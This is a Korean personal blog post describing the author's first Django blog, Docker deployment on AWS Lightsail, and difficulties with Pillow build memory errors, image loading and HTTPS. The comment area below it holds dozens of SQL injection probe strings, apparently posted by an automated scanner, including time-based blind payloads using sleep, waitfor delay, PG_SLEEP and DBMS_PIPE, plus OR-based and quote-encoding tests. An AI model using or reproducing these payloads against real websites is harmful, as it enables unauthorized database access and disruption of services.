첫 포스트
by VICENTE97P4
Dec. 17, 2021, 5:49 p.m.
장고로 만든 블로그입니다.
도커 이미지를 빌드하여 AWS를 이용하여 서버를 띄웠습니다.(AWS Lightsail 사용)
장고의 구조를 파악하는 데에 꽤 많은 시간이 걸렸습니다.
물론 그럼에도 기본적인 내용밖에 파악하지 못했습니다..
기업은 단순히 프레임워크를 쓰는 것이 아닌,
기능의 작동원리와 구조를 깊이 있게 아는 것을 중요시 한다고 합니다..
간단한 블로그 만들기도 벅찼는데.. 갈 길이 멀어도 한참 멉니다..
개발 도중 어려웠던 부분은 아이러니 하게도 프론트 엔드 쪽과 도커 사용이었습니다.
CSS가 뜻대로 동작하지 않는 부분, JS로 HTML을 변경해야 하는 부분,
특히 디버깅이 힘들었던 부분이 까다로웠고
처음 접해보는 도커가 까다로웠습니다.
도커의 경우 이미지를 빌드할 때 Pillow 라이브러리의 용량이 너무 커서
#29 341.7 The build failed because the process exited too early.
This probably means the system ran out of memory or
someone called `kill -9` on the process.
에러가 발생하는데 원인을 찾지 못해 한참을 헤매었습니다.
또한 이미지가 업로드 되어 서버에 저장된 것이 확인되었는데 막상 페이지를 로딩할 때는
이미지를 찾지 못한다던가 하는 오류가 가장 힘들었습니다.
쓰고 보니 떠오르는데 HTTPS 설정을 하는 데에도 힘들었습니다.
HTTPS의 경우 원인은 단순 오타였는데 희한하게 보이지가 않아 며칠을 날려먹었습니다..
역시 개발자의 생명은 눈이라는 것을 뼈저리게 느꼈습니다.
Pillow 사용과 이미지를 찾지 못했던 이야기는 다음 포스트에 적겠습니다.
앞으로 CS를 공부하며 내용을 여기에 정리하고 종종 알고리즘 문제풀이도 올려보겠습니다.
26 view 734
hrxiq0OM
Updated: Feb. 22, 2025, 5:35 p.m.
*1
Updated: Feb. 22, 2025, 5:35 p.m.
*1
Updated: Feb. 22, 2025, 5:35 p.m.
*1
Updated: Feb. 22, 2025, 5:35 p.m.
*1
Updated: Feb. 22, 2025, 5:35 p.m.
-1 OR 2+823-823-1=0+0+0+1
Updated: Feb. 22, 2025, 5:35 p.m.
-1 OR 3+823-823-1=0+0+0+1
Updated: Feb. 22, 2025, 5:35 p.m.
*if(now()=sysdate(),sleep(15),0)
Updated: Feb. 22, 2025, 5:35 p.m.
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
Updated: Feb. 22, 2025, 5:35 p.m.
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
Updated: Feb. 22, 2025, 5:35 p.m.
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
Updated: Feb. 22, 2025, 5:35 p.m.
-1; waitfor delay '0:0:15' --
Updated: Feb. 22, 2025, 5:35 p.m.
-1); waitfor delay '0:0:15' --
Updated: Feb. 22, 2025, 5:35 p.m.
-1 waitfor delay '0:0:15' --
Updated: Feb. 22, 2025, 5:35 p.m.
UseShn7o'; waitfor delay '0:0:15' --
Updated: Feb. 22, 2025, 5:35 p.m.
-1 OR 101=(SELECT 101 FROM PG_SLEEP(15))--
Updated: Feb. 22, 2025, 5:35 p.m.
-1) OR 590=(SELECT 590 FROM PG_SLEEP(15))--
Updated: Feb. 22, 2025, 5:35 p.m.
-1)) OR 635=(SELECT 635 FROM PG_SLEEP(15))--
Updated: Feb. 22, 2025, 5:35 p.m.
7nTYJDlo' OR 509=(SELECT 509 FROM PG_SLEEP(15))--
Updated: Feb. 22, 2025, 5:35 p.m.
SRoZswBe') OR 246=(SELECT 246 FROM PG_SLEEP(15))--
Updated: Feb. 22, 2025, 5:35 p.m.
7Dz2kao7')) OR 206=(SELECT 206 FROM PG_SLEEP(15))--
Updated: Feb. 22, 2025, 5:35 p.m.
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
Updated: Feb. 22, 2025, 5:35 p.m.
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
Updated: Feb. 22, 2025, 5:35 p.m.
'"
Updated: Feb. 22, 2025, 5:35 p.m.
����%2527%2522\'\"
Updated: Feb. 22, 2025, 5:35 p.m.
@@RZFPM
Updated: Feb. 22, 2025, 5:35 p.m.